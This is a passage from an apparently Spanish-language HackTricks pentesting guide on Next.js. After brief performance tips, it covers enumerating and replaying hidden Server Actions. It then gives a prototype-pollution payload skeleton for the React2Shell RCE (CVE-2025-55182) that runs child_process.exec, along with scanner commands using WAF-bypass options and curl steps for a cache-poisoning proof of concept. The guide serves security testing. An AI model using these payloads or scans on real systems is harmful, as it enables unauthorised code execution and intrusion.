res.status(401).json({ error: "Invalid credentials" })
}
}

Optimización del rendimiento

Estrategias:

  • Optimización de imágenes: Utiliza el componente next/image de Next.js para la optimización automática de imágenes.
  • División de código: Aprovecha las importaciones dinámicas para dividir el código y reducir los tiempos de carga inicial.
  • Caché: Implementa estrategias de caching para las respuestas de API y los assets estáticos.
  • Carga perezosa (Lazy Loading): Carga componentes o assets solo cuando sean necesarios.

Ejemplo:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

Next.js moderno usa “Server Actions” que se ejecutan en el servidor pero se invocan desde el cliente. En producción estas invocaciones son opacas: todos los POSTs llegan a un endpoint común y se distinguen por un hash específico de la build enviado en la cabecera Next-Action. Ejemplo:

POST /
Next-Action: a9f8e2b4c7d1...

Cuando productionBrowserSourceMaps está habilitado, los minified JS chunks contienen llamadas a createServerReference(...) que leak suficiente estructura (más los source maps asociados) para recuperar un mapeo entre el action hash y el nombre original de la función. Esto te permite traducir hashes observados en Next-Action a objetivos concretos como deleteUserAccount() o exportFinancialData().

Enfoque de extracción (regex on minified JS + optional source maps)

Busca en los JS chunks descargados createServerReference y extrae el hash y el function/source symbol. Dos patrones útiles:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Grupo 1: server action hash (40+ hex chars)
  • Grupo 2: símbolo o ruta que puede resolverse a la función original vía el source map cuando esté presente

Si el script anuncia un source map (comentario al final //# sourceMappingURL=<...>.map), descárgalo y resuelve el símbolo/ruta al nombre de la función original.

Flujo de trabajo práctico

  • Descubrimiento pasivo mientras navegas: captura peticiones con cabeceras Next-Action y URLs de JS chunk.
  • Recupera los bundles JS referenciados y los archivos *.map acompañantes (cuando existan).
  • Ejecuta la regex anterior para construir un diccionario hash↔nombre.
  • Usa el diccionario para orientar las pruebas:
    • Triage basado en nombres (p. ej., transferFunds, exportFinancialData).
    • Rastrear cobertura entre builds por nombre de función (los hashes rotan entre builds).

Ejecución de acciones ocultas (petición basada en plantilla)

Toma un POST válido observado en-proxy como plantilla y cambia el valor Next-Action para dirigirte a otra acción descubierta:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Reproduce en Repeater y prueba la autorización, la validación de entradas y la lógica de negocio de acciones que de otro modo serían inaccesibles.

Automatización de Burp

  • NextjsServerActionAnalyzer (Burp extension) automatiza lo anterior en Burp:
  • Mina el historial del proxy en busca de JS chunks, extrae entradas createServerReference(...) y parsea source maps cuando están disponibles.
  • Mantiene un diccionario searchable de hash↔function-name y des-duplica entre builds por nombre de función.
  • Puede localizar un POST de plantilla válido y abrir una pestaña de Repeater lista para enviar con el hash de la acción objetivo intercambiado.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notas y limitaciones

  • Requiere productionBrowserSourceMaps habilitado en producción para recuperar nombres desde bundles/source maps.
  • La divulgación de function-name no es una vulnerabilidad por sí misma; úsala para guiar el descubrimiento y prueba la autorización de cada acción.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contienen una contaminación de prototipos crítica del lado servidor durante la deserialización de chunks de Flight. Al construir referencias $ dentro de una payload de Flight, un atacante puede pivotar desde prototipos contaminados a ejecución arbitraria de JavaScript y luego a ejecución de comandos del sistema operativo dentro del proceso Node.js.

NodeJS - proto & prototype Pollution

Cadena de ataque en chunks de Flight

  1. Prototype pollution primitive: Set "then": "$1:__proto__:then" para que el resolver escriba una función then en Object.prototype. Cualquier objeto plano procesado después se convierte en thenable, permitiendo al atacante influir en el flujo de control async dentro de los internos de RSC.
  2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". Durante la resolución, object.constructorObject, y Object.constructorFunction, por lo que llamadas futuras a _formData.get() realmente ejecutan Function(...).
  3. Code execution via _prefix: Coloca código JavaScript en _response._prefix. Cuando se invoca el _formData.get contaminado, el framework evalúa Function(_prefix)(...), de modo que el JS inyectado puede ejecutar require('child_process').exec() o cualquier otro primitivo de Node.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Mapeo de la exposición de React Server Functions

React Server Functions (RSF) son funciones que incluyen la directiva ‘use server’;. Every form action, mutation, or fetch helper bound to one of those functions becomes an RSC Flight endpoint that will happily deserialize payloads suministrados por un atacante. Useful recon steps derived from React2Shell assessments:

  • Static inventory: busca la directiva para entender cuántas RSFs están siendo expuestas automáticamente por el framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app habilita el App Router + el directorio app/ por defecto, lo que convierte silenciosamente cada ruta en un endpoint capaz de RSC. Los assets de App Router como /_next/static/chunks/app/ o respuestas que transmiten Flight chunks sobre text/x-component son huellas fuertes expuestas a Internet.
  • Implicitly vulnerable RSC deployments: El propio aviso de React indica que las apps que incluyen el runtime de RSC pueden ser explotables incluso sin RSFs explícitos, así que trate cualquier build que use react-server-dom-* 19.0.0–19.2.0 como sospechosa.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reutilizan el mismo serializer e heredan la misma superficie de ataque remota hasta que integren builds de React parcheadas.

Cobertura de versiones (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: vulnerable en 19.0.0, 19.1.0–19.1.1 y 19.2.0; parcheadas en 19.0.1, 19.1.2 y 19.2.1 respectivamente.
  • Next.js stable: Las releases de App Router 15.0.0–16.0.6 integran el stack RSC vulnerable. Las versiones de parche 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 incluyen dependencias corregidas, por lo que cualquier build por debajo de esas versiones es de alto valor.
  • Next.js canary: 14.3.0-canary.77+ también incluye el runtime con bug y actualmente carece de canary drops parcheados, haciendo que esas huellas sean candidatas fuertes para explotación.

Oráculo de detección remota

Assetnote’s react2shell-scanner envía una Flight request multipart elaborada a rutas candidatas y observa el comportamiento del servidor:

  • Default mode ejecuta un payload RCE determinístico (operación matemática reflejada vía X-Action-Redirect) que prueba la ejecución de código.
  • --safe-check mode malforma deliberadamente el mensaje Flight de modo que los servidores parcheados devuelven 200/400, mientras que los objetivos vulnerables emiten respuestas HTTP/500 que contienen la subcadena E{"digest" dentro del body. Esa pareja (500 + digest) es actualmente el oráculo remoto más fiable publicado por los defensores.
  • Los switches integrados --waf-bypass, --vercel-waf-bypass, y --windows ajustan el layout del payload, anteponen junk o intercambian comandos del OS para que puedas sondear activos reales en Internet.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Otros problemas recientes de App Router (finales de 2025)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads pueden hacer que el RSC resolver entre en un bucle infinito (pre-auth DoS) o forzar la serialización del código compilado de Server Function para otras acciones. Las builds de App Router ≥13.3 están afectadas hasta parchearlas; 15.0.x–16.0.x necesitan las líneas de parche específicas del upstream advisory. Reutiliza la ruta normal de Server Action pero transmite un body text/x-component con referencias $ abusivas. Detrás de un CDN la conexión colgada se mantiene abierta por timeouts de caché, haciendo que el DoS sea barato.
  • Triage tip: Los targets sin parche devuelven 500 con E{"digest" tras Flight payloads malformados; las builds parcheadas devuelven 400/200. Prueba cualquier endpoint que ya esté enviando chunks de Flight (busca cabeceras Next-Action o respuestas text/x-component) y reenvía con un payload modificado.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – la ausencia de Vary permitió que una respuesta Accept: text/x-component se cacheara y se sirviera a navegadores que esperaban HTML. Una sola petición de priming puede reemplazar la página con payloads RSC en bruto. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Si la segunda respuesta devuelve datos JSON Flight en lugar de HTML, la ruta es susceptible de cache poisoning. Purga la caché después de las pruebas.

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks